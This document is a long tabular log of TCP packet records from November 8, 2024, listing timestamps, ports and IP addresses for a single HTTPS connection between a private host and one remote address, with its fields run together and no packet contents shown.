                                                                                                                                          Nov 8, 2024 11:28:32.777976036 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.786079884 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.786098003 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.786317110 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.786329031 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.786338091 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.786501884 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.794265032 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.794284105 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.794430017 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.794559956 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.794570923 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.794608116 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.794652939 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.794806957 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.794815063 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.795026064 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.797183037 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.797194958 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.797370911 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.797516108 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.797527075 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.802201033 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.802220106 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.802478075 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.802486897 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.806961060 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.806978941 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.807137012 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.807148933 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.807212114 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.807302952 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.823985100 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.824058056 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.824132919 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.824132919 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.824234009 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.824268103 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.824378967 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.824851990 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.824923992 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.825025082 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.825057983 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.825102091 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.825193882 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.825561047 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.825618029 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.825705051 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.825736046 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.825793028 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.825922012 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.826338053 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.826396942 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.826517105 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.826648951 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.826680899 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.827116966 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.827183962 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.827260017 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.827291965 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.827349901 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.827481031 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.828826904 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.828890085 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.829030991 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.829171896 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.829215050 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.831789970 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.831862926 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.831928015 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.831964970 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.832134962 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.834906101 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.834971905 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.835074902 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.835279942 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.835319996 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.851614952 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.851692915 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.851794958 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.851831913 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.851936102 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.852417946 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.852479935 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.852571011 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.852607965 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.852649927 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.852830887 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.853128910 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.853185892 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.853296995 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.853498936 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.853528976 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.853988886 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.854057074 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.854146004 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.854172945 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.854223013 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.854321003 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.854825020 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.854880095 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.855048895 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.855082989 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.855102062 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.855231047 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.855622053 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.855683088 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.855773926 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.855775118 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.855863094 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.855890989 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.856002092 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.857230902 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.857304096 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.857397079 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.857431889 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.857547998 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.860800028 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.860853910 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.861011028 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.861057997 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.861072063 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.861174107 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.863991976 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.864059925 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.864192009 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.864238024 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.864321947 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.867593050 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.867667913 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.867746115 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.867791891 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.867872953 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.867914915 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.875952005 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.876072884 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.876141071 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.876173973 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.876285076 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.876348019 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.876929998 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.877005100 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.877079964 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.877079964 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.877248049 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.877288103 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.877305031 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.878012896 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.878093004 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.878199100 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.878230095 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.878257036 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.878338099 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.879703045 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.879767895 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.879873991 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.879903078 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.879947901 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.880081892 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.882842064 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.882946968 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.883111000 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.883163929 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.883182049 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.883182049 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.927258015 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.960509062 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.960597038 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.960686922 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.961123943 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.961163998 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.961430073 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.961448908 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.961483955 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.961654902 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.961657047 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.961710930 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.961879969 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.962127924 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.962327957 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.962383986 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.962423086 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.962708950 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.963119030 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.963187933 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.963337898 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.963373899 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.963413000 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.964044094 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.964122057 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.964658976 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.964658976 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.964706898 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.964981079 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.965051889 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.965235949 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.965276003 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.965293884 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.965892076 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.965984106 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.966130018 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.966167927 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.966190100 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.967981100 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.968054056 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.968144894 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.968183041 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.968219995 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.968348980 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.971054077 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.971122980 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.971225977 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.971303940 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.971350908 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.971461058 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.977061033 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.977149963 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.977236032 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:32.977277040 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:32.977406979 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.020975113 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.090733051 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.090816021 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.090907097 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.091074944 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.091257095 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.091289997 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.091315031 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.091444969 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.091546059 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.091593027 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.091670036 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.091748953 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.091844082 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.092024088 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.092058897 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.092084885 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.092108965 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.092190981 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.092227936 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.092390060 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.092576981 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.092618942 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.092643023 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.092668056 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.092747927 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.092866898 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.093024969 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.093061924 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.093110085 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.093278885 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.093374014 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.093416929 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.093476057 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.093658924 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.093832970 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.093919039 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.093950987 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.094010115 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.094099998 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.094239950 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.094352007 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.094397068 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.094546080 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.094579935 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.094737053 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.094867945 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.094896078 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.095000982 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.095041037 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.095278978 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.095349073 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.095382929 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.095519066 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.095551014 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.095662117 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.095829010 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.095850945 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.095880032 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.095977068 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.096091032 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.096174955 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.096298933 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.096329927 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.096467972 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.096493959 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.096662998 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.096807003 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.096837044 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.096909046 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.096931934 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.097045898 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.097214937 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.097271919 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.097301006 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.097429991 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.097456932 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.097626925 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.097768068 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.097798109 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.097882032 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.097906113 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.098017931 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.098162889 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.098237038 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.098268986 CET44349734104.21.86.219192.168.11.20
